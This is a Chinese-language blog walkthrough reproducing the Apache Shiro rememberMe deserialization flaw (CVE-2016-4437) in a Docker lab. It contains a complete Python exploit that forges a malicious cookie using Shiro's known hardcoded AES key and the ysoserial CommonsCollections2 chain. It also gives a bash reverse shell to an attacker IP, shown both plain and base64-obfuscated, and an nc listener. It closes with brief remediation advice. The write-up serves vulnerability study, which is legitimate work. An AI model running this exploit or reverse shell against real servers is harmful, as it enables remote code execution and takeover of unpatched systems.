Apache Shiro反序列化漏洞复现(Shiro550,CVE-2016-4437)

Shiro是什么东西?
  • Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理

  • shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
    原理解释https://www.freebuf.com/vuls/178014.html

什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。

漏洞位置

http 请求包 cookie 中的 rememberMe 参数。
该漏洞对shiro<=1.2.4的版本有影响。

攻击流程图

在这里插入图片描述

环境准备:

1.漏洞环境

  • docker漏洞镜像
  • 或者使用vulhub提供的环境

2.攻击准备的工具

  • 安装python中的pycrypto
  • 执行攻击的python脚本
  • 安装MVN(如果安装失败,可以直接下载jar文件使用)
  • 安装java反序列化payload集成包ysoserial

安装pycrypto
sudo pip3 install pycrypto(19kali自带py3)


安装MVN (注:安装mvn需要在jdk已经安装的前提下,kali默认有安装。
sudo apt install maven
验证 mvn –version
在这里插入图片描述


安装ysoserial的jar文件

root@kali:~# git clone https://github.com/frohoff/ysoserial.git
root@kali:~# cd ysoserial
root@kali:~/ysoserial# mvn package -DskipTests 
(但这一步我出现了问题,处理了很久也没办法解决)

最后解决的方法是直接下载ysoserial-0.0.6-SNAPSHOT-BETA-all.jar这个jar的文件,然后上传到ysoserial/target的目录下,准备的脚本也放到同一目录下(test.py)
在这里插入图片描述
python的攻击脚本,因为靶机环境是利用链2,所以用到CommonsCollections2这条链去构造,但是实战环境下,最好还是要测试出目标机子正确的key和利用链才行。

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

docker漏洞环境的安装
获取docker镜像
Docker pull medicean/vulapps:s_shiro_1
重启docker
systemctl start docker
启动环境把8080端口改为8081端口
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

进攻复现

攻击机ip为158,靶机为144

此时漏洞环境已经搭建成功,如下所示:
攻击机192.168.10.158访问靶机144并抓包可看到有rememberme字样的cookie

在这里插入图片描述

反弹命令进行加密http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.10.158/1234 0>&1
加密后如下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjE1OC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

注意这里的脚本和jar文件是同一个目录下的,虽然有WARNING警告,但不影响tmp目录下生成remember cookie值
在这里插入图片描述
切换到tmp目录即可看到生成的cookie
在这里插入图片描述
注意这个伪造的cookie值需要复制到响应包有remember值的包发送才可能得到反弹shell,我也尝试过在漏洞页面的其他包进行伪造cookie值发送,是得不到反弹shell的
在这里插入图片描述
同时攻击机多开命令框进行nc的一个端口监听nc -lvp 1234,然后再发送伪造的cookie值
在这里插入图片描述
点击发送伪造的包,此时就能获得靶机的反弹shell
在这里插入图片描述

该漏洞的修复方法:

升级shiro到1.2.5及以上,并且不要使用一些已经被公开的密钥,要利用官方提供的方法生成密钥

  • 6
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值